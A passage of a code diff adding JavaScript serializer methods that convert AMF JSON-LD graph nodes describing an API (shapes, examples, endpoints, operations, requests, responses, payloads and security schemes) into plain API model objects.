+    const minLength = this._getValue(target, ns.w3.shacl.minLength);
+    if (typeof minLength === 'number') {
+      result.minLength = minLength;
+    }
+    const maxLength = this._getValue(target, ns.w3.shacl.maxLength);
+    if (typeof maxLength === 'number') {
+      result.maxLength = maxLength;
+    }
+    const minInclusive = this._getValue(target, ns.w3.shacl.minInclusive);
+    if (typeof minInclusive === 'number') {
+      result.minimum = minInclusive;
+      result.exclusiveMinimum = false;
+    }
+    const maxInclusive = this._getValue(target, ns.w3.shacl.maxInclusive);
+    if (typeof maxInclusive === 'number') {
+      result.maximum = maxInclusive;
+      result.exclusiveMaximum = false;
+    }
+    const format = this._getValue(target, ns.aml.vocabularies.shapes.format);
+    if (format && typeof format === 'string') {
+      result.format = format;
+    }
+    const multipleOf = this._getValue(target, ns.aml.vocabularies.shapes.multipleOf);
+    if (typeof multipleOf === 'number') {
+      result.multipleOf = multipleOf;
+    }
+    return result;
+  }
+
+  /**
+   * @param {SchemaShape} object
+   * @param {ShapeProcessingOptions=} options
+   * @returns {ApiSchemaShape}
+   */
+  schemaShape(object, options={}) {
+    let target = object;
+    const result = /** @type ApiSchemaShape */ (this.anyShape(target, options));
+    if (this.isLink(target)) {
+      const value = /** @type SchemaShape */ (this.getLinkTarget(target));
+      if (value) {
+        target = value;
+      }
+    }
+    const { ns } = this;
+    const mediaType = this._getValue(target, ns.aml.vocabularies.core.mediaType);
+    if (mediaType && typeof mediaType === 'string') {
+      result.mediaType = mediaType;
+    }
+    const raw = this._getValue(target, ns.aml.vocabularies.document.raw);
+    if (raw && typeof raw === 'string') {
+      result.raw = raw;
+    }
+    return result;
+  }
+
+  /**
+   * @param {RecursiveShape} object
+   * @returns {ApiRecursiveShape}
+   */
+  recursiveShape(object) {
+    let target = object;
+    const result = /** @type ApiRecursiveShape */ (this.shape(target));
+    if (this.isLink(target)) {
+      const value = /** @type RecursiveShape */ (this.getLinkTarget(target));
+      if (value) {
+        target = value;
+      }
+    }
+    const { ns } = this;
+    const fp = this._getLinkValue(object, ns.aml.vocabularies.shapes.fixPoint);
+    if (fp && typeof fp === 'string') {
+      result.fixPoint = fp;
+    }
+    return result;
+  }
+
+  /**
+   * @param {DataArrangeShape} object
+   * @param {ShapeProcessingOptions=} options
+   * @returns {ApiDataArrangeShape}
+   */
+  dataArrangeShape(object, options={}) {
+    let target = object;
+    const result = /** @type ApiDataArrangeShape */ (this.anyShape(target, options));
+    if (this.isLink(target)) {
+      const value = /** @type DataArrangeShape */ (this.getLinkTarget(target));
+      if (value) {
+        target = value;
+      }
+    }
+    // const { ns } = this;
+    // const { minItems, maxItems, uniqueItems } = object;
+    // if (!minItems.isNull) {
+    //   result.minItems = minItems.value();
+    // }
+    // if (!maxItems.isNull) {
+    //   result.maxItems = maxItems.value();
+    // }
+    // if (!uniqueItems.isNull) {
+    //   result.uniqueItems = uniqueItems.value();
+    // }
+    return result;
+  }
+
+  /**
+   * @param {ArrayShape} object
+   * @param {ShapeProcessingOptions=} options
+   * @returns {ApiArrayShape}
+   */
+  arrayShape(object, options={}) {
+    let target = object;
+    const result = /** @type ApiArrayShape */ (this.dataArrangeShape(target, options));
+    if (this.isLink(target)) {
+      const value = /** @type ArrayShape */ (this.getLinkTarget(target));
+      if (value) {
+        target = value;
+      }
+    }
+
+    const items = target[this._getAmfKey(this.ns.aml.vocabularies.shapes.items)];
+    if (Array.isArray(items) && items.length) {
+      const [item] = items;
+      result.items = this.unknownShape(item);
+    }
+    return result;
+  }
+
+  /**
+   * @param {TupleShape} object
+   * @param {ShapeProcessingOptions=} options
+   * @returns {ApiTupleShape}
+   */
+  tupleShape(object, options) {
+    let target = object;
+    const result = /** @type ApiTupleShape */ (this.dataArrangeShape(target, options));
+    if (this.isLink(target)) {
+      const value = /** @type TupleShape */ (this.getLinkTarget(target));
+      if (value) {
+        target = value;
+      }
+    }
+    const items = target[this._getAmfKey(this.ns.aml.vocabularies.shapes.items)];
+    const prefix = this._getAmfKey(this.ns.w3.rdfSchema.key);
+    if (Array.isArray(items) && items.length) {
+      result.items = [];
+      items.forEach((item) => {
+        if (Array.isArray(item)) {
+          // eslint-disable-next-line no-param-reassign
+          [item] = item;
+        }
+        Object.keys(item).filter(k => k.startsWith(prefix)).forEach((key) => {
+          let shape = item[key];
+          if (Array.isArray(shape)) {
+            [shape] = shape;
+          }
+          const value = this.unknownShape(shape);
+          result.items.push(value);
+        });
+      });
+    } else {
+      result.items = [];
+    }
+    return result;
+  }
+
+  /**
+   * @param {CreativeWork} object The CreativeWork to serialize.
+   * @returns {ApiDocumentation} Serialized CreativeWork
+   */
+  documentation(object) {
+    const result = /** @type ApiDocumentation */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+    });
+    const url = this._getLinkValue(object, this.ns.aml.vocabularies.core.url);
+    if (url && typeof url === 'string') {
+      result.url = url;
+    }
+    const description = this._getValue(object, this.ns.aml.vocabularies.core.description);
+    if (description && typeof description === 'string') {
+      result.description = description;
+    }
+    const title = this._getValue(object, this.ns.aml.vocabularies.core.title);
+    if (title && typeof title === 'string') {
+      result.title = title;
+    }
+    return result;
+  }
+
+  /**
+   * @param {Example} object The Example to serialize.
+   * @returns {ApiExample} Serialized Example
+   */
+  example(object) {
+    this._resolve(object);
+    const result = /** @type ApiExample */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+      strict: false,
+    });
+    const { ns } = this;
+    const strict = this._getValue(object, ns.aml.vocabularies.document.strict);
+    if (typeof strict === 'boolean') {
+      result.strict = strict;
+    }
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const displayName = this._getValue(object, ns.aml.vocabularies.core.displayName);
+    if (displayName && typeof displayName === 'string') {
+      result.displayName = displayName;
+    }
+    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    if (description && typeof description === 'string') {
+      result.description = description;
+    }
+    const raw = this._getValue(object, ns.aml.vocabularies.document.raw);
+    if (raw && typeof raw === 'string') {
+      result.value = raw;
+    }
+    const location = this._getValue(object, ns.aml.vocabularies.document.location);
+    if (location && typeof location === 'string') {
+      result.location = location;
+    }
+    // if (!mediaType.isNullOrEmpty) {
+    //   result.mediaType = mediaType.value();
+    // }
+    const structuredValue = object[this._getAmfKey(ns.aml.vocabularies.document.structuredValue)];
+    if (Array.isArray(structuredValue) && structuredValue.length) {
+      const [value] = structuredValue;
+      result.structuredValue = this.unknownDataNode(value);
+    }
+    return result;
+  }
+
+  /**
+   * @param {XMLSerializer} object
+   * @returns {ApiXMLSerializer}
+   */
+  xmlSerializer(object) {
+    const result = /** @type ApiXMLSerializer */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+    });
+    const { ns } = this;
+    const xmlAttribute = this._getValue(object, ns.aml.vocabularies.shapes.xmlAttribute);
+    if (typeof xmlAttribute === 'boolean') {
+      result.attribute = xmlAttribute;
+    }
+    const wrapped = this._getValue(object, ns.aml.vocabularies.shapes.xmlWrapped);
+    if (typeof wrapped === 'boolean') {
+      result.wrapped = wrapped;
+    }
+    const name = this._getValue(object, ns.aml.vocabularies.shapes.xmlName);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const xmlNs = this._getValue(object, ns.aml.vocabularies.shapes.xmlNamespace);
+    if (xmlNs && typeof xmlNs === 'string') {
+      result.namespace = xmlNs;
+    }
+    const xmlPrefix = this._getValue(object, ns.aml.vocabularies.shapes.xmlPrefix);
+    if (xmlPrefix && typeof xmlPrefix === 'string') {
+      result.prefix = xmlPrefix;
+    }
+    return result;
+  }
+
+  /**
+   * @param {DataNode} object
+   * @returns {ApiDataNodeUnion}
+   */
+  unknownDataNode(object) {
+    const types = this.readTypes(object['@type']);
+    const { ns } = this;
+    if (types.includes(ns.aml.vocabularies.data.Scalar)) {
+      return this.scalarNode(/** @type ScalarNode */(object));
+    }
+    if (types.includes(ns.aml.vocabularies.data.Object)) {
+      return this.objectNode(/** @type ObjectNode */(object));
+    }
+    if (types.includes(ns.aml.vocabularies.data.Array)) {
+      return this.arrayNode(/** @type ArrayNode */(object));
+    }
+    return undefined;
+  }
+
+  /**
+   * @param {DataNode} object
+   * @returns {ApiDataNode}
+   */
+  dataNode(object) {
+    const result = /** @type ApiDataNode */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+    });
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    return result;
+  }
+
+  /**
+   * @param {ScalarNode} object
+   * @returns {ApiScalarNode}
+   */
+  scalarNode(object) {
+    const result = /** @type ApiScalarNode */ (this.dataNode(object));
+    const { ns } = this;
+    const value = this._getValue(object, ns.aml.vocabularies.data.value);
+    if (value && typeof value === 'string') {
+      result.value = value;
+    }
+    const dataType = this._getLinkValue(object, ns.w3.shacl.datatype);
+    if (dataType && typeof dataType === 'string') {
+      result.dataType = dataType;
+    }
+    return result;
+  }
+
+  /**
+   * @param {ObjectNode} object
+   * @returns {ApiObjectNode}
+   */
+  objectNode(object) {
+    const result = /** @type ApiObjectNode */ (this.dataNode(object));
+    result.properties = {};
+    const prefix = this.ns.aml.vocabularies.data.toString();
+    const prefixCompact = `${this._getAmfKey(prefix)}:`;
+    Object.keys(object).forEach((key) => {
+      if (key.startsWith(prefix) || key.startsWith(prefixCompact)) {
+        let value = object[key];
+        if (Array.isArray(value)) {
+          [value] = value;
+        }
+        const name = key.replace(prefix, '').replace(prefixCompact, '');
+        result.properties[name] = this.unknownDataNode(value);
+      }
+    });
+    return result;
+  }
+
+  /**
+   * @param {ArrayNode} object
+   * @returns {ApiArrayNode}
+   */
+  arrayNode(object) {
+    const result = /** @type ApiArrayNode */ (this.dataNode(object));
+    result.members = [];
+    const members = /** @type DataNode[] */ (this._computePropertyArray(object, this.ns.w3.rdfSchema.member));
+    if (Array.isArray(members) && members.length) {
+      result.members = members.map((item) => this.unknownDataNode(item));
+    }
+    return result;
+  }
+
+  /**
+   * Adds the custom domain properties to the currently processed property, a.k.a annotations.
+   * @param {DomainElement} object 
+   * @returns {ApiCustomDomainProperty[]} The list of custom domain properties.
+   */
+  customDomainProperties(object) {
+    const result = /** @type ApiCustomDomainProperty[] */ ([]);
+    const ids = this._getLinkValues(object, this.ns.aml.vocabularies.document.customDomainProperties);
+    if (Array.isArray(ids) && ids.length) {
+      ids.forEach((id) => {
+        const key = `amf://id${id}`;
+        let value = /** @type DomainElement */ (object[id] || object[key]);
+        if (!value) {
+          return;
+        }
+        if (Array.isArray(value)) {
+          [value] = value;
+        }
+        const extension = this.unknownDataNode(value);
+        const name = this._getValue(value, this.ns.aml.vocabularies.core.extensionName);
+        if (!name || !extension) {
+          return;
+        }
+        const cdp = /** @type ApiCustomDomainProperty */ ({
+          id: key,
+          name,
+          extension,
+        });
+        result.push(cdp);
+      });
+    }
+    return result;
+  }
+
+  /**
+   * @param {EndPoint} object The EndPoint to serialize.
+   * @returns {ApiEndPoint} Serialized EndPoint
+   */
+  endPoint(object) {
+    const result = /** @type ApiEndPoint */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+      path: '',
+      operations: [],
+      parameters: [],
+      payloads: [],
+      servers: [],
+      security: [],
+      extends: [],
+    });
+    const { ns } = this;
+    const path = this._getValue(object, ns.aml.vocabularies.apiContract.path);
+    if (path && typeof path === 'string') {
+      result.path = path;
+    }
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    if (description && typeof description === 'string') {
+      result.description = description;
+    }
+    const summary = this._getValue(object, ns.aml.vocabularies.core.summary);
+    if (summary && typeof summary === 'string') {
+      result.summary = summary;
+    }
+    const operations = this[getArrayItems](object, ns.aml.vocabularies.apiContract.supportedOperation);
+    if (Array.isArray(operations) && operations.length) {
+      result.operations = operations.map(i => this.operation(/** @type Operation */ (i)));
+    }
+    const parameters = this[getArrayItems](object, ns.aml.vocabularies.apiContract.parameter);
+    if (Array.isArray(parameters) && parameters.length) {
+      result.parameters = parameters.map(i => this.parameter(i));
+    }
+    const payloads = this[getArrayItems](object, ns.aml.vocabularies.apiContract.payload);
+    if (Array.isArray(payloads) && payloads.length) {
+      result.payloads = payloads.map(i => this.payload(/** @type Payload */(i)));
+    }
+    const servers = this[getArrayItems](object, ns.aml.vocabularies.apiContract.server);
+    if (Array.isArray(servers) && servers.length) {
+      result.servers = servers.map(i => this.server(i));
+    }
+    const security = this[getArrayItems](object, ns.aml.vocabularies.security.security);
+    if (Array.isArray(security) && security.length) {
+      result.security = security.map(i => this.securityRequirement(i));
+    }
+    const extensions = this[getArrayItems](object, ns.aml.vocabularies.document.extends);
+    if (Array.isArray(extensions) && extensions.length) {
+      result.extends = [];
+      extensions.forEach((ex) => {
+        let extension = ex;
+        if (Array.isArray(extension)) {
+          [extension] = extension;
+        }
+        if (this._hasType(extension, ns.aml.vocabularies.apiContract.ParametrizedResourceType)) {
+          result.extends.push(this.parametrizedResourceType(extension));
+        } else if (this._hasType(extension, ns.aml.vocabularies.apiContract.ParametrizedTrait)) {
+          result.extends.push(this.parametrizedTrait(extension));
+        }
+      });
+    }
+    return result;
+  }
+
+  /**
+   * @param {Operation} object The Operation to serialize.
+   * @returns {ApiOperation} Serialized Operation
+   */
+  operation(object) {
+    const result = /** @type ApiOperation */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+      method: '',
+      deprecated: false,
+      callbacks: [],
+      responses: [],
+      servers: [],
+      security: [],
+      accepts: [],
+      schemes: [],
+      contentType: [],
+      tags: [],
+      extends: [],
+    });
+    const { ns } = this;
+    const method = this._getValue(object, ns.aml.vocabularies.apiContract.method);
+    if (method && typeof method === 'string') {
+      result.method = method;
+    }
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    if (description && typeof description === 'string') {
+      result.description = description;
+    }
+    const summary = this._getValue(object, ns.aml.vocabularies.apiContract.guiSummary);
+    if (summary && typeof summary === 'string') {
+      result.summary = summary;
+    }
+    const deprecated = this._getValue(object, ns.aml.vocabularies.core.deprecated);
+    if (typeof deprecated === 'boolean') {
+      result.deprecated = deprecated;
+    }
+    const operationId = this._getValue(object, ns.aml.vocabularies.apiContract.operationId);
+    if (operationId && typeof operationId === 'string') {
+      result.operationId = operationId;
+    }
+    const accepts = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.accepts));
+    if (Array.isArray(accepts)) {
+      result.accepts = accepts;
+    }
+    const schemes = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.scheme));
+    if (Array.isArray(schemes)) {
+      result.schemes = schemes;
+    }
+    const contentType = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.contentType));
+    if (Array.isArray(contentType)) {
+      result.contentType = contentType;
+    }
+
+    let expects = object[this._getAmfKey(ns.aml.vocabularies.apiContract.expects)];
+    if (expects) {
+      if (Array.isArray(expects)) {
+        [expects] = expects;
+      }
+      result.request = this.request(expects);
+    }
+    let documentation = object[this._getAmfKey(ns.aml.vocabularies.core.documentation)];
+    if (documentation) {
+      if (Array.isArray(documentation)) {
+        [documentation] = documentation;
+      }
+      result.documentation = this.documentation(documentation);
+    }
+    const responses = object[this._getAmfKey(ns.aml.vocabularies.apiContract.returns)];
+    if (Array.isArray(responses)) {
+      result.responses = responses.map(r => this.response(r));
+    }
+    const callbacks = object[this._getAmfKey(ns.aml.vocabularies.apiContract.callback)];
+    if (Array.isArray(callbacks)) {
+      result.callbacks = callbacks.map(c => this.callback(c));
+    }
+    const servers = object[this._getAmfKey(ns.aml.vocabularies.apiContract.server)];
+    if (Array.isArray(servers)) {
+      result.servers = servers.map(s => this.server(s));
+    }
+    const security = object[this._getAmfKey(ns.aml.vocabularies.security.security)];
+    if (Array.isArray(security)) {
+      result.security = security.map(s => this.securityRequirement(s));
+    }
+    const tags = object[this._getAmfKey(ns.aml.vocabularies.apiContract.tag)];
+    if (Array.isArray(tags) && tags.length) {
+      result.tags = tags.map(s => this.tag(s));
+    }
+    const traits = object[this._getAmfKey(ns.aml.vocabularies.document.extends)];
+    if (Array.isArray(traits) && traits.length) {
+      result.extends = traits.map(t => this.parametrizedTrait(t));
+    }
+    return result;
+  }
+
+  /**
+   * @param {Tag} object 
+   * @returns {ApiTag}
+   */
+  tag(object) {
+    const result = /** @type ApiTag */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+      name: '',
+    });
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    return result;
+  }
+
+  /**
+   * @param {Callback} object
+   * @returns {ApiCallback}
+   */
+  callback(object) {
+    const result = /** @type ApiCallback */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+    });
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const expression = this._getValue(object, ns.aml.vocabularies.apiContract.expression);
+    if (expression && typeof expression === 'string') {
+      result.expression = expression;
+    }
+    let endpoint = object[this._getAmfKey(ns.aml.vocabularies.apiContract.endpoint)];
+    if (endpoint) {
+      if (Array.isArray(endpoint)) {
+        [endpoint] = endpoint;
+      }
+      result.endpoint = this.endPoint(endpoint);
+    }
+    return result;
+  }
+
+  /**
+   * @param {Request} object The API request to serialize.
+   * @returns {ApiRequest} Serialized API request
+   */
+  request(object) {
+    const result = /** @type ApiRequest */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+      required: false,
+      headers: [],
+      queryParameters: [],
+      payloads: [],
+      uriParameters: [],
+      cookieParameters: [],
+    });
+    const { ns } = this;
+    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    if (description && typeof description === 'string') {
+      result.description = description;
+    }
+    const required = this._getValue(object, ns.aml.vocabularies.apiContract.required);
+    if (required && typeof required === 'boolean') {
+      result.required = required;
+    }
+    let queryString = object[this._getAmfKey(ns.aml.vocabularies.apiContract.queryString)];
+    if (queryString) {
+      if (Array.isArray(queryString)) {
+        [queryString] = queryString;
+      }
+      result.queryString = this.unknownShape(queryString);
+    }
+    const headers = this[getArrayItems](object, ns.aml.vocabularies.apiContract.header);
+    if (Array.isArray(headers) && headers.length) {
+      result.headers = headers.map(p => this.parameter(p));
+    }
+    const queryParameters = this[getArrayItems](object, ns.aml.vocabularies.apiContract.parameter);
+    if (Array.isArray(queryParameters) && queryParameters.length) {
+      result.queryParameters = queryParameters.map(p => this.parameter(p));
+    }
+    const uriParameters = this[getArrayItems](object, ns.aml.vocabularies.apiContract.uriParameter);
+    if (Array.isArray(uriParameters) && uriParameters.length) {
+      result.uriParameters = uriParameters.map(p => this.parameter(p));
+    }
+    const cookieParameters = this[getArrayItems](object, ns.aml.vocabularies.apiContract.cookieParameter);
+    if (Array.isArray(cookieParameters) && cookieParameters.length) {
+      result.cookieParameters = cookieParameters.map(p => this.parameter(p));
+    }
+    const payloads = this[getArrayItems](object, ns.aml.vocabularies.apiContract.payload);
+    if (Array.isArray(payloads) && payloads.length) {
+      result.payloads = payloads.map(p => this.payload(/** @type Payload */ (p)));
+    }
+    return result;
+  }
+
+  /**
+   * @param {Response} object The Response to serialize.
+   * @returns {ApiResponse} Serialized Response
+   */
+  response(object) {
+    const result = /** @type ApiResponse */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+      headers: [],
+      payloads: [],
+      examples: [],
+      links: [],
+    });
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    if (description && typeof description === 'string') {
+      result.description = description;
+    }
+    const statusCode = this._getValue(object, ns.aml.vocabularies.apiContract.statusCode);
+    if (statusCode && typeof statusCode === 'string') {
+      result.statusCode = statusCode;
+    }
+    const headers = this[getArrayItems](object, ns.aml.vocabularies.apiContract.header);
+    if (Array.isArray(headers) && headers.length) {
+      result.headers = headers.map(p => this.parameter(p));
+    }
+    const payloads = this[getArrayItems](object, ns.aml.vocabularies.apiContract.payload);
+    if (Array.isArray(payloads) && payloads.length) {
+      result.payloads = payloads.map(p => this.payload(/** @type Payload */(p)));
+    }
+    const examples = object[this._getAmfKey(ns.aml.vocabularies.apiContract.examples)];
+    if (Array.isArray(examples) && examples.length) {
+      result.examples = examples.map(e => this.example(e));
+    }
+    const links = object[this._getAmfKey(ns.aml.vocabularies.apiContract.link)];
+    if (Array.isArray(links) && links.length) {
+      result.links = links.map(p => this.templatedLink(p));
+    }
+    return result;
+  }
+
+  /**
+   * @param {Payload} object The Payload to serialize.
+   * @returns {ApiPayload} Serialized Payload
+   */
+  payload(object) {
+    const result = /** @type ApiPayload */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+      examples: [],
+      // encoding: [],
+    });
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const mediaType = this._getValue(object, ns.aml.vocabularies.core.mediaType);
+    if (mediaType && typeof mediaType === 'string') {
+      result.mediaType = mediaType;
+    }
+    let schema = object[this._getAmfKey(ns.aml.vocabularies.shapes.schema)];
+    if (schema) {
+      if (Array.isArray(schema)) {
+        [schema] = schema;
+      }
+      result.schema = this.unknownShape(schema, {
+        trackedId: result.id,
+      });
+    }
+    const examples = object[this._getAmfKey(ns.aml.vocabularies.apiContract.examples)];
+    if (Array.isArray(examples) && examples.length) {
+      result.examples = examples.map(e => this.example(e));
+    }
+    // if (Array.isArray(encoding) && encoding.length) {
+    //   result.encoding = encoding.map((p) => p.id);
+    // }
+    return result;
+  }
+
+  /**
+   * @param {TemplatedLink} object The TemplatedLink to serialize.
+   * @returns {ApiTemplatedLink} Serialized TemplatedLink
+   */
+  templatedLink(object) {
+    const result = /** @type ApiTemplatedLink */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+      mapping: [],
+    });
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    if (description && typeof description === 'string') {
+      result.description = description;
+    }
+    const operationId = this._getValue(object, ns.aml.vocabularies.apiContract.operationId);
+    if (operationId && typeof operationId === 'string') {
+      result.operationId = operationId;
+    }
+    let server = object[this._getAmfKey(ns.aml.vocabularies.apiContract.server)];
+    if (server) {
+      if (Array.isArray(server)) {
+        [server] = server;
+      }
+      result.server = this.server(server);
+    }
+    let mapping = /** @type IriTemplateMapping[] */ (object[this._getAmfKey(ns.aml.vocabularies.apiContract.mapping)]);
+    if (mapping) {
+      if (mapping && !Array.isArray(mapping)) {
+        mapping = [mapping];
+      }
+      if (mapping) {
+        result.mapping = mapping.map(item => this.iriTemplateMapping(item));
+      }
+    }
+    // if (!template.isNullOrEmpty) {
+    //   result.template = template.value();
+    // }
+    // if (!requestBody.isNullOrEmpty) {
+    //   result.requestBody = requestBody.value();
+    // }
+    return result;
+  }
+
+  /**
+   * @param {IriTemplateMapping} object 
+   * @returns {ApiIriTemplateMapping}
+   */
+  iriTemplateMapping(object) {
+    const result = /** @type ApiIriTemplateMapping */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+    });
+    const { ns } = this;
+    const templateVariable = this._getValue(object, ns.aml.vocabularies.apiContract.templateVariable);
+    if (templateVariable && typeof templateVariable === 'string') {
+      result.templateVariable = templateVariable;
+    }
+    const linkExpression = this._getValue(object, ns.aml.vocabularies.apiContract.linkExpression);
+    if (linkExpression && typeof linkExpression === 'string') {
+      result.linkExpression = linkExpression;
+    }
+    return result;
+  }
+
+  /**
+   * @param {ParametrizedSecurityScheme} object The ParametrizedSecurityScheme to serialize.
+   * @returns {ApiParametrizedSecurityScheme} Serialized ParametrizedSecurityScheme
+   */
+  parametrizedSecurityScheme(object) {
+    const result = /** @type ApiParametrizedSecurityScheme */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+    });
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    let scheme = object[this._getAmfKey(ns.aml.vocabularies.security.scheme)];
+    if (scheme) {
+      if (Array.isArray(scheme)) {
+        [scheme] = scheme;
+      }
+      result.scheme = this.securityScheme(scheme);
+    }
+    let settings = object[this._getAmfKey(ns.aml.vocabularies.security.settings)];
+    if (settings) {
+      if (Array.isArray(settings)) {
+        [settings] = settings;
+      }
+      result.settings = this.securitySettings(settings);
+    }
+    return result;
+  }
+
+  /**
+   * @param {SecurityScheme} object The SecurityScheme to serialize.
+   * @returns {ApiSecurityScheme} Serialized SecurityScheme
+   */
+  securityScheme(object) {
+    const result = /** @type ApiSecurityScheme */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+      headers: [],
+      queryParameters: [],
+      responses: [],
+    });
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const displayName = this._getValue(object, ns.aml.vocabularies.core.displayName);
+    if (displayName && typeof displayName === 'string') {
+      result.displayName = displayName;
+    }
+    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    if (description && typeof description === 'string') {
+      result.description = description;
+    }
+    const type = this._getValue(object, ns.aml.vocabularies.security.type);
+    if (type && typeof type === 'string') {
+      result.type = type;
+    }
+    let settings = object[this._getAmfKey(ns.aml.vocabularies.security.settings)];
+    if (settings) {
+      if (Array.isArray(settings)) {
+        [settings] = settings;
+      }
+      result.settings = this.securitySettings(settings);
+    }
+    let queryString = object[this._getAmfKey(ns.aml.vocabularies.apiContract.queryString)];
+    if (queryString) {
+      if (Array.isArray(queryString)) {
+        [queryString] = queryString;
+      }
+      result.queryString = this.unknownShape(queryString);
+    }
+    const headers = this[getArrayItems](object, ns.aml.vocabularies.apiContract.header);
+    if (Array.isArray(headers) && headers.length) {
+      result.headers = headers.map(p => this.parameter(p));
+    }
+    const queryParameters = this[getArrayItems](object, ns.aml.vocabularies.apiContract.parameter);
+    if (Array.isArray(queryParameters) && queryParameters.length) {
+      result.queryParameters = queryParameters.map(p => this.parameter(p));
+    }
+    const responses = this[getArrayItems](object, ns.aml.vocabularies.apiContract.response);
+    if (Array.isArray(responses) && responses.length) {
+      result.responses = responses.map(p => this.response(/** @type Response */ (p)));
+    }
+    return result;
+  }
+
+  /**
+   * @param {SecurityRequirement} object The SecurityRequirement to serialize.
+   * @returns {ApiSecurityRequirement} Serialized SecurityRequirement
+   */
+  securityRequirement(object) {
+    const result = /** @type ApiSecurityRequirement */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+      schemes: [],
+    });
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const schemes = /** @type ParametrizedSecurityScheme[] */ (object[this._getAmfKey(ns.aml.vocabularies.security.schemes)]);
+    if (Array.isArray(schemes) && schemes.length) {
+      result.schemes = schemes.map(p => this.parametrizedSecurityScheme(p));
+    }
+    return result;
+  }
+
+  /**
+   * @param {Settings} object 
+   * @returns {ApiSecuritySettingsUnion}
+   */
+  securitySettings(object) {
+    const { ns } = this;
+    const types = this.readTypes(object['@type']);
+    if (types.includes(ns.aml.vocabularies.security.OAuth1Settings)) {
+      return this.oAuth1Settings(/** @type OAuth1Settings */ (object));
+    }
+    if (types.includes(ns.aml.vocabularies.security.OAuth2Settings)) {
+      return this.oAuth2Settings(/** @type OAuth2Settings */ (object));
+    }
+    if (types.includes(ns.aml.vocabularies.security.ApiKeySettings)) {
+      return this.apiKeySettings(/** @type ApiKeySettings */ (object));
+    }
+    if (types.includes(ns.aml.vocabularies.security.HttpSettings)) {
+      return this.httpSettings(/** @type HttpSettings */ (object));
+    }
+    if (types.includes(ns.aml.vocabularies.security.OpenIdConnectSettings)) {
+      return this.openIdConnectSettings(/** @type OpenIdConnectSettings */ (object));
+    }
+    return this.settings(object);
+  }
+
+  /**
+   * @param {Settings} object
+   * @returns {ApiSecuritySettings}
+   */
